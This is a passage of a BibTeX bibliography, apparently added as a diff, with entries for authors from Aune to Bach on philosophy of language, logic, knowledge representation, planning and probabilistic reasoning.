+ year = {1968}, + volume = {1}, + pages = {215--229}, + missinginfo = {number}, + topic = {truth-bearers;} + } + +@incollection{ aune:1975a, + author = {Bruce Aune}, + title = {Vendler on Knowledge and Belief}, + booktitle = {Language, Mind, and Knowledge. {M}innesota Studies in + the Philosophy of Science, Vol. 7}, + publisher = {University of Minnesota Press}, + year = {1975}, + editor = {Keith Gunderson}, + pages = {391--399}, + address = {Minneapolis, Minnesota}, + topic = {propositional-attitudes;interrogatives;} + } + +@book{ aune:1977a, + author = {Bruce Aune}, + title = {Reason and Action}, + publisher = {D. Reidel Publishing Co.}, + year = {1977}, + address = {Dordrecht}, + topic = {philosophy-of-action;} + } + +@incollection{ aune:1978a, + author = {Bruce Aune}, + title = {Root on {Q}uine}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {290--293}, + address = {Minneapolis}, + topic = {intensionality;philosophy-of-language;} + } + +@incollection{ aune:1986a, + author = {Bruce Aune}, + title = {Other Minds after Twenty Years}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {559--574}, + address = {Minneapolis}, + topic = {philosophy-of-mind;} + } + +@book{ austin_df:1988a, + editor = {David F. Austin}, + title = {Philosophical Analysis: A Defense By Example}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + address = {Dordrecht}, + ISBN = {9027726744}, + topic = {analytical-philosophy;} + } + +@book{ austin_df:1990a, + author = {David F. Austin}, + title = {What's the Meaning of "This"?: A Puzzle About + Demonstrative Belief}, + publisher = {Cornell University Press}, + year = {1990}, + address = {Ithaca}, + ISBN = {0801424097}, + topic = {demonstratives;reference;} + } + +@article{ austin_jl:1950a, + author = {John L. Austin}, + title = {Truth}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1950}, + volume = {24}, + pages = {111--128}, + note = {Supplementary Volume.}, + topic = {truth;propositional-attitudes;truth-bearers; + correspondence-theory-of-truth;} + } + +@article{ austin_jl:1950b, + author = {John L. Austin}, + title = {Ifs and Cans}, + journal = {Proceedings of the British Academy}, + year = {1956}, + pages = {109--132}, + missinginfo = {volume}, + topic = {ability;conditionals;freedom;} + } + +@article{ austin_jl:1956a, + author = {John L. Austin}, + title = {A Plea for Excuses}, + journal = {Proceedings of the {A}ristotelian {S}ociety}, + year = {1956--57}, + volume = {57}, + pages = {1--30}, + topic = {excuses;ordinary-language-philosophy;} + } + +@article{ austin_jl:1958a, + author = {John L. Austin}, + title = {Pretending}, + journal = {Aristotelian {S}ociety Supplementary Series}, + year = {1958}, + volume = {32}, + pages = {261--278}, + topic = {pretense;ordinary-language-philosophy;} + } + +@book{ austin_jl:1961a, + author = {John L. Austin}, + title = {Philosophical Papers}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1961}, + note = {Edited by {J.O.} {U}rmson and {G.J.} {W}arnock}, + topic = {ordinary-language-philosophy;} + } + +@book{ austin_jl:1962a, + author = {John L. Austin}, + title = {Sense and Sensibilia}, + publisher = {Oxford University Press}, + year = {1962}, + address = {Oxford}, + topic = {epistemology;phenomenalism;ordinary-language-philosophy;} + } + +@book{ austin_jl:1962b, + author = {John L. Austin}, + title = {How to Do Things With Words}, + publisher = {Oxford University Press}, + year = {1962}, + address = {Oxford}, + xref = {Reviews: cerf:1966a1, cerf:1966a2, sayre:1963a}, + topic = {philosophy-of-language;speech-acts;pragmatics;} + } + +@incollection{ auwera:1986a, + author = {Johan {van der Auwera}}, + title = {Conditionals and Speech Acts}, + booktitle = {On Conditionals}, + publisher = {Cambridge University Press}, + year = {1986}, + editor = {Elizabeth Traugott and Alice {ter Meulen} and Judy Reilly}, + pages = {197--214}, + address = {Cambridge, England}, + topic = {conditionals;speech-acts;} + } + +@incollection{ auyang:2000a, + author = {Sunny Y. Auyang}, + title = {Mathematics and Reality: Two Notions of Spacetime in + the Analytic and Constructivist Views of Gauge Field Theories}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S482--S494}, + address = {Newark, Delaware}, + topic = {philosophy-of-physics;gauge-theory;} + } + +@book{ auyang:2001a, + author = {Sunny Y. Auyang}, + title = {Mind in Everyday Life and Cognitive Science}, + publisher = {The {MIT} Press}, + year = {2001}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-01181-6}, + topic = {foundations-of-cognitive-science;} + } + +@incollection{ avenhaus:1998a, + author = {J. Avenhaus}, + title = {Introduction (To Part IV: Comparison and + Cooperation of Theorem Provers)}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@incollection{ avigad-feferman:1998a, + author = {Jeremy Avigad and Solomon Feferman}, + title = {G\"odel's Functional (`Dialectica') Interpretation}, + booktitle = {Handbook of Proof Theory}, + publisher = {Elsevier Science Publishers}, + year = {1998}, + editor = {Samuel R. Buss}, + pages = {337--405}, + address = {Amsterdam}, + xref = {Review: arai:1998f.}, + topic = {proof-theory;intuitionistic-logic;recursion-theory;} + } + +@article{ avigad:1999a, + author = {Jeremy Avigad}, + title = {Review of {\it In the Light of Logic}, by + {S}olomon {F}eferman}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {12}, + pages = {638--642}, + xref = {Review of: feferman:1998a.}, + topic = {philosophy-of-mathematics;proof-theory;} + } + +@article{ avigad:2000a, + author = {Jeremy Avigad}, + title = {Interpreting Classical Theories in Constructive Ones}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + number = {4}, + pages = {1785--1812}, + topic = {constructive-logics;} + } + +@article{ avigad:2002a, + author = {Jeremy D. Avigad}, + title = {Review of `Explicit Provability and Constructive + Semantics', by {S}ergei {N}. {A}rtemov}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {3}, + pages = {432--433}, + xref = {Review of: artemov:2000a.}, + topic = {provability-logic;} + } + +@book{ avramides:1989a, + author = {A. Avramides}, + title = {Meaning and Mind: An Examination of a {G}ricean + Account of Language}, + publisher = {The {MIT} Press}, + year = {1989}, + address = {Cambridge, Massachusetts}, + topic = {speaker-meaning;philosophy-of-language;Grice;} + } + +@article{ avron:1991a, + author = {Arnon Avron}, + title = {A Note on Provability, Truth, and Existence}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {4}, + pages = {403--409}, + topic = {goedels-first-theorem;philosophy-of-mathematics;} + } + +@inproceedings{ axelrod:2000a, + author = {Scott Axelrod}, + title = {Natural Language Generation in the {IBM} + Flight Information System}, + booktitle = {{ANLP/NAACL} Workshop on Conversational Systems}, + year = {2000}, + editor = {Candace Sidner et al.}, + pages = {21--32}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;nl-generation;} + } + +@book{ ayer:1954a, + author = {A.J. Ayer}, + title = {Philosophical Essays}, + publisher = {St. Martin's Press}, + year = {1954}, + address = {New York}, + topic = {analytic-philosophy;} + } + +@incollection{ ayer:1954b, + author = {A.J. Ayer}, + title = {Freedom and Necessity}, + booktitle = {Philosophical Essays}, + publisher = {St. Martin's Press}, + year = {1954}, + address = {New York}, + missinginfo = {A's 1st name, pages}, + topic = {freedom;} + } + +@book{ ayer:1963a, + author = {Alfred Jules Ayer}, + title = {The Concept of a Person, and Other Essays}, + publisher = {St. Martin's Press}, + year = {1963}, + address = {London}, + ISBN = {3540671900 (softcover)}, + topic = {analytic-philosophy;personal-identity; + ordinary-language-philosophy;} + } + +@incollection{ ayer:1969a, + author = {Alfred J. Ayer}, + title = {Has {A}ustin Refuted Sense-Data?}, + booktitle = {Symposium on {J}.{L}. {A}ustin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {284--308}, + address = {London}, + missinginfo = {E's 1st name.}, + topic = {JL-Austin;phenomenalism;} + } + +@incollection{ ayer:1969b, + author = {Alfred J. Ayer}, + title = {Rejoinder to Professor Forguson}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {342--348}, + address = {London}, + missinginfo = {E's 1st name.}, + topic = {JL-Austin;phenomenalism;} + } + +@book{ ayer:1972a, + author = {Alfred Jules Ayer}, + title = {Bertrand Russell}, + publisher = {Viking Press}, + year = {1972}, + address = {New York}, + ISBN = {0670158992}, + topic = {Russell;} + } + +@incollection{ ayer:1976a, + author = {Alfred J. Ayer}, + title = {Identity and Reference}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {3--24}, + address = {Dordrecht}, + topic = {identity;} + } + +@article{ ayers:1965a, + author = {M.R. Ayers}, + title = {Counterfactuals and Subjunctive Conditionals}, + journal = {Mind, New Series}, + year = {1965}, + volume = {74}, + number = {295}, + pages = {347--364}, + topic = {conditionals;} + } + +@article{ ayers:1966a, + author = {M.R. Ayers}, + title = {Austin on `Could' and `Could Have'\, } , + journal = {Philosophical Quarterly}, + year = {1966}, + volume = {16}, + pages = {113--120}, + missinginfo = {number}, + topic = {JL-Austin;ability;conditionals;counterfactual-past;} + } + +@inproceedings{ azarewicz-etal:1986a, + author = {Jerone Azarewicz and Glenn Fala and Christof Heithecker}, + title = {Plan Recognition for Airbourne Tactical Decision Making}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + pages = {805--811}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {plan-recognition;} + } + +@inproceedings{ azzam:1996a, + author = {Saliha Azzam}, + title = {Resolving Anaphors in Embedded Sentences}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {263--269}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {anaphora;parsing-algorithms;} + } + +@inproceedings{ azzam-etal:1998a, + author = {Saliha Azzam and Kevin Humphreys and Robert Gaizauskas}, + title = {Evaluating a Focus-Based Approach to Anaphora Resolution}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {74--78}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {anaphora-resolution;} + } + +@article{ azzouni:2001a, + author = {Jody Azzouni}, + title = {Truth Via Anaphorically Unrestricted Quantifiers}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {4}, + pages = {329--354}, + topic = {truth;propositional-quantifiers;} + } + +@incollection{ baader-etal:1992a, + author = {Franz Baader and Bernhard Hollunder and Bernhard Nebel + and Hans-J\"urgen Profitlich}, + title = {Terminological Reasoning with Constraint Networks and + an Application to Plan Recognition}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {282--293}, + address = {San Mateo, California}, + topic = {taxonomic-logics;constraint-networks;} + } + +@inproceedings{ baader-hollunder:1992a, + author = {Franz Baader and Bernhard Hollunder}, + title = {Embedding Defaults into Terminological Knowledge Representation + Formalisms}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {306--317}, + address = {San Mateo, California}, + topic = {kr;taxonomic-logics;inheritance-theory;kr-course;} + } + +@inproceedings{ baader-nutt:1992a, + author = {Franz Baader and Werner Nutt}, + title = {Are Complete and Expressive Terminological Systems + Feasible?}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {1--5}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + contentnote = {Discusses the KR system KRIS.}, + topic = {kr;krcourse;taxonomic-logics;} + } + +@inproceedings{ baader-schulz_ku:1992a, + author = {Franz Baader and Klaus U. Schulz}, + title = {Unification in the Union of Disjoint Equational Theories: + Combining Decision Procedures}, + booktitle = {Proceedings of the 11th International Conference on + Automated Deduction}, + editor = {Deepak Kapur}, + publisher = {Springer-Verlag}, + year = 1992, + address = {Berlin}, + series = {Lecture Notes in Artificial Intelligence}, + volume = 607, + pages = {50--65}, + topics = {unification;} +} + +@article{ baader-etal:1993a, + author = {Franz Baader and Hans-J\"urgen B\"urckert and Bernhard + Nebel and Werner Nutt and Gert Smolka}, + title = {On the Expressivity of Feature Logics with Negation, + Functional Uncertainty, and Sort Equations}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {2}, + number = {1}, + pages = {1--18}, + contentnote = {Functionality is a feature logic construct proposed + by Kaplan to get long distance dependencies. They prove that + satisfiability is undecidable.}, + topic = {feature-structure-logic;kr-complexity-analysis;} + } + +@article{ baader-hollunder:1995a, + author = {Franz Baader and Bernhard Hollunder}, + title = {Embedding Defaults into Terminological Knowledge Representation + Systems}, + journal = {Journal of Automated Reasoning}, + year = {1995}, + volume = {14}, + pages = {149--180}, + missinginfo = {number}, + topic = {kr;taxonomic-logics;inheritance-theory;kr-course;} + } + +@inproceedings{ baader-laux:1995a, + author = {Franz Baader and Armin Laux}, + title = {Terminological Logics with Modal Operators}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {808--814}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {kr;taxonomic-logics;extensions-of-kl1;kr-course;} + } + +@article{ baader-etal:1996a, + author = {Franz Baader and Martin Buchheit and Bernhard Hollunder}, + title = {Cardinality Restrictions on Concepts}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {88}, + number = {1--2}, + pages = {195--213}, + acontentnote = {Abstract: + The concept description formalisms of existing description + logics systems allow the user to express local cardinality + restrictions on the fillers of a particular role. It is not + possible, however, to introduce global restrictions on the + number of instances of a given concept. This article argues that + such cardinality restrictions on concepts are of importance in + applications such as configuration of technical systems, an + application domain of description logics systems that is + currently gaining in interest. It shows that including such + restrictions in the description language leaves the important + inference problems such as instance testing decidable. The + algorithm combines and simplifies the ideas developed for the + treatment of qualified number restrictions and of general + terminological axioms. + } , + topic = {kr;taxonomic-logics;cardinality-restrictions;} + } + +@incollection{ baader-sattler:1996a, + author = {Franz Baader and Ulrike Sattler}, + title = {Number Restrictions on Complex Roles in Description + Logics: A Preliminary Report}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {328--339}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;extensions-of-kl1;kr-course;} + } + +@book{ baader-schultz:1996a, + editor = {Franz Baader and Klaus U. Schultz}, + title = {Frontiers of Combining Systems}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = {Dordrecht}, + ISBN = {072342712}, + topic = {combining-logics;} + } + +@incollection{ baader-schultz_ku:1998a, + author = {Franz Baader and Klaus U. Schulz}, + title = {Unification Theory}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;unification;} + } + +@book{ baader-schulz_ku:1998b, + editor = {Franz Baader and Klaus Ulrich Schulz}, + title = {Frontiers of Combining Systems 2}, + publisher = {Research Studies Press}, + year = {1998}, + address = {Berlin}, + ISBN = {0792342712}, + topic = {combining-logics;combining-systems;} + } + +@inproceedings{ baader-etal:2000a, + author = {Franz Baader and Ralf K\"usters and Ralf M\"olitor}, + title = {Rewriting Concepts Using Terminologies}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {297--308}, + topic = {taxonomic-logics;concept-definitions;} + } + +@inproceedings{ baader-usters:2000a, + author = {Franz Baader and Ralf K\"usters}, + title = {Matching in Description Logics with Existential + Restrictions}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {261--272}, + topic = {taxonomic-logic;pattern-matching;} + } + +@article{ baader-sattler:2001a, + author = {Franz Baader and Ulrike Sattler}, + title = {Algorithms for Description Logics}, + journal = {Studia Logica}, + year = {2001}, + volume = {69}, + number = {1}, + pages = {5--40}, + topic = {proof-theory;semantic-tableaux;modal-logic;taxonomic-logics; + classifier-algorithms;} + } + +@article{ baars:1994a, + author = {Bernard J. Baars}, + title = {A Thoroughly Empirical Approach to Consciousness}, + journal = {Psyche}, + year = {1994}, + volume = {6}, + missinginfo = {pages, number Maybe this is an online journal???}, + topic = {philosophy-of-mind;other-modeling;} + } + +@book{ baars:1997a, + author = {Bernard J. Baars}, + title = {In the Theatre of Consciousness: the Workspace of the Mind}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + topic = {philosophy-of-mind;cognitive-psychology;consciousness;} + } + +@article{ baayen-sproat:1996a, + author = {Harald Baayen and Richard Sproat}, + title = {Estimating Lexical Priors for Low-Frequency + Morphologically Ambiguous Forms}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {2}, + pages = {155--166}, + topic = {corpus-statistics;} + } + +@incollection{ baaz-etal:1998a, + author = {M. Baaz et al.}, + title = {Extension Methods in Automated Deduction}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, other authors, pages}, + topic = {theorem-proving;applied-logic;} + } + +@book{ baber-noyes:1993a, + editor = {Christopher Baber and Janet M. Noyes}, + title = {Interactive Speech Technology: Human Factors Issues in + the Application of Speech Input}, + publisher = {Taylor \& Francis}, + year = {1993}, + address = {Bristol, Pennsylvania}, + ISBN = {074840127X (paper)}, + topic = {speech-processing;spoken-dialogue-systems;HCI;} + } + +@inproceedings{ bacchus:1989a, + author = {Fahiem Bacchus}, + title = {A Modest, but Semantically Well Founded, Inheritance + Reasoner}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {1104--1109}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, CA}, + topic = {inheritance-theory;} + } + +@incollection{ bacchus-etal:1989a1, + author = {Fahiem Bacchus and Josh Tennenberg and Johannes Koomen}, + title = {A Non-Reified Temporal Logic}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {2--10}, + address = {San Mateo, California}, + contentnote = {Proposes a termporal logic in sorted FOL.}, + xref = {Journal publication: bacchus-etal:1989a2.}, + topic = {temporal-representation;} + } + +@article{ bacchus-etal:1989a2, + author = {Fahiem Bacchus and Josh Tennenberg and Johannes Koomen}, + title = {A Non-Reified Temporal Logic}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {52}, + number = {1}, + pages = {87--108}, + contentnote = {Proposes a temporal logic in sorted FOL.}, + xref = {Conference publication: bacchus-etal:1989a.}, + topic = {temporal-representation;kr;krcourse;} + } + +@book{ bacchus:1990a, + author = {Fahiem Bacchus}, + title = {Representing and Reasoning with Probabilistic Knowledge}, + publisher = {The {MIT} Press}, + year = {1990}, + address = {Cambridge, Massachusetts}, + xref = {Review: gryzmalabusse:1999a.}, + topic = {probabilistic-reasoning;reasoning-about-uncertainty;} + } + +@article{ bacchus-etal:1990a, + author = {Fahiem Bacchus and Henry E. {Kyburg, Jr.} and Mariam + Thalos}, + title = {Against Conditionalization}, + journal = {Synth\'ese}, + year = {1990}, + volume = {84}, + number = {3}, + pages = {475--506}, + topic = {probability-kinematics;Dutch-book-argument;} + } + +@inproceedings{ bacchus:1991a, + author = {Fahiem Bacchus}, + title = {Default Reasoning from Statistics}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathleen McKeown}, + pages = {392--398}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {statistical-inference;nonmonotonic-reasoning;} + } + +@inproceedings{ bacchus-etal:1992a, + author = {Fahiem Bacchus and Adam Grove and Joseph Halpern and + Daphne Kohler}, + title = {From Statistics to Belief}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {602--608}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {foundations-of-probability;indifference;world-entropy;} + } + +@inproceedings{ bacchus-etal:1993a, + author = {Fahiem Bacchus and Adam Grove and Daphne Koller}, + title = {Statistical Foundations for Default Reasoning}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + missinginfo = {pagers}, + topic = {nonmonotonic-logic;probability-logics;} + } + +@inproceedings{ bacchus-etal:1994a, + author = {Fahiem Bacchus and Adam Grove and Joseph Halpern and + Daphne Koller}, + title = {Forming Beliefs about a Changing World}, + booktitle = {Proceedings of the Twelfth National Conference on + Artificial Intelligence}, + year = {1994}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + pages = {222--229}, + contentnote = {Title is misleading. A generalization of situation + calculus to accommodate uncertainty. Uses random + worlds for the statistics. Includes an indeterministic + account of action.}, + topic = {nondeterministic-action; foundations-of-planning;frame-problem;} + } + +@inproceedings{ bacchus-etal:1994b, + author = {Fahiem Bacchus and Adam Grove and Joseph Halpern and + Daphne Koller}, + title = {Generating New Beliefs from Old}, + booktitle = {Proceedings of the Tenth Conference on Uncertainty in + Artificial Intelligence}, + year = {1994}, + pages = {37--45}, + editor = {Paul Rosenbloom and Peter Szolovits}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {foundations-of-probability;indifference;world-entropy;} + } + +@article{ bacchus-yang_q:1994a, + author = {Fahiem Bacchus and Qiang Yang}, + title = {Downward Refinement and the Efficiency of Hierarchical + Problem Solving}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {71}, + number = {1}, + pages = {41--100}, + topic = {abstraction;hierarchical-problem-solving; + AI-algorithms-analysis;} + } + +@inproceedings{ bacchus-etal:1995a, + author = {Fahiem Bacchus and Joseph Y. Halpern and Hector J. Levesque}, + title = {Reasoning about Noisy Sensors in the Situation Calculus}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1933--1940}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {action-formalisms;reasoning-about-uncertainty;} + } + +@inproceedings{ bacchus-grove:1995a, + author = {Fahiem Bacchus and Adam Grove}, + title = {Graphical Models for Preference and Utility}, + booktitle = {Uncertainty in Artificial Intelligence. Proceedings of + the Eleventh Conference (1995)}, + publisher = {Morgan Kaufmann Publishers}, + year = {1995}, + address = {San Francisco}, + pages = {3--10}, + contentnote = {Idea: use _conditional_additive_independence_ as the basis + for graph representations that may help computability. } , + topic = {Bayesian-networks,qualitative-utility;preference;} + } + +@incollection{ bacchus:1996a, + author = {Fahiem Bacchus}, + title = {Utility Independence in Qualitative Decision Theory}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {542--552}, + address = {San Francisco, California}, + topic = {kr;qualitative-utility;kr-course;} + } + +@article{ bacchus-etal:1996a, + author = {Fahiem Bacchus and Adam Grove and Joseph Y. Halpern and + Daphne Koller}, + title = {From Statistical Knowledge Bases to Degrees of Belief}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {87}, + number = {1--2}, + pages = {75--143}, + topic = {statistical-inference;qualitative-probability;} + } + +@incollection{ bacchus-grove:1996a, + author = {Fahiem Bacchus and Adam Grove}, + title = {Utility Independence in Qualitative Decision Theory}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {542--552}, + address = {San Francisco, California}, + topic = {kr;qualitative-utility;kr-course;} + } + +@inproceedings{ bacchus-grove:1997a, + author = {Fahiem Bacchus and Adam Grove}, + title = {Independence in Qualitative Decision Theory}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {1--8}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {qualitative-utility;foundations-of-utility;} + } + +@incollection{ bacchus-petrick:1998a, + author = {Fahiem Bacchus and Ron Petrick}, + title = {Modeling an Agent's Incomplete Knowledge during Planning + and Execution}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {432--443}, + address = {San Francisco, California}, + topic = {kr;planning;reasoning-about-knowledge; + representing-agent-knowledge;kr-course;} + } + +@inproceedings{ bacchus:1999a, + author = {Fahiem Bacchus}, + title = {{TL}Plan: Planning Using Declarative Search Control + (Abstract)}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {declarative-search-control;planning-algorithms;} + } + +@article{ bacchus-etal:1999a, + author = {Fahiem Bacchus and Joseph Y. Halpern and Hector J. + Levesque}, + title = {Reasoning about Noisy Sensors and Effectors in the + Situation Calculus}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {111}, + number = {1--2}, + pages = {171--208}, + topic = {planning-formalisms;sensing-actions;uncertainty-in-AI;} + } + +@article{ bacchus-kabanza:2000a, + author = {Fahiem Bacchus and Froduald Kabanza}, + title = {Using Temporal Logics to Express Search Control + Knowledge for Planning}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {116}, + number = {1--2}, + pages = {123--191}, + topic = {procedural-control;temporal-logic;} + } + +@article{ bacchus:2001a, + author = {Fahiem Bacchus}, + title = {{AIPS}'00 Planning Competition}, + journal = {The {AI} Magazine}, + year = {2001}, + volume = {22}, + number = {1}, + pages = {47--56}, + topic = {planning;planning-algorithms;planning-systems;} + } + +@article{ bacchus-etal:2002a, + author = {Fahiem Bacchus and Xinguang Chen and Peter van Beek and + Toby Walsh}, + title = {Binary versus Non-Binary Constraints}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {140}, + number = {1--2}, + pages = {1--37}, + topic = {constraint-satisfaction;} + } + +@book{ bach_e:1964a, + author = {Emmon Bach}, + title = {An Introduction to Transformational Grammars}, + publisher = {Holt, Rinehart and Winston}, + year = {1964}, + address = {New York}, + topic = {transformational-grammar;} + } + +@incollection{ bach_e:1968a1, + author = {Emmon Bach}, + title = {Nouns and Noun Phrases}, + booktitle = {Universals in Linguistic Theory}, + publisher = {Holt, Rinehart and Winston}, + year = {1968}, + editor = {Emmon Bach and Robert Harms}, + address = {New York}, + missinginfo = {pages}, + xref = {Republication: bach_e:1968a2.}, + topic = {nl-semantics;nl-quantification;} + } + +@incollection{ bach_e:1968a2, + author = {Emmon Bach}, + title = {Nouns and Noun Phrases}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {79--99}, + address = {Encino, California}, + xref = {Original Publication: bach_e:1968a1.}, + topic = {nl-semantics;nl-quantification;} + } + +@incollection{ bach_e:1974a, + author = {Emmon Bach}, + title = {Explanatory Adequacy}, + booktitle = {Explaining Linguistic Phenomena}, + publisher = {Hemisphere Publishing Corp.}, + year = {1974}, + editor = {David Cohen}, + pages = {153--171}, + address = {Washington, DC}, + topic = {philosophy-of-linguistics;linguistics-methodology; + explanation;} + } + +@unpublished{ 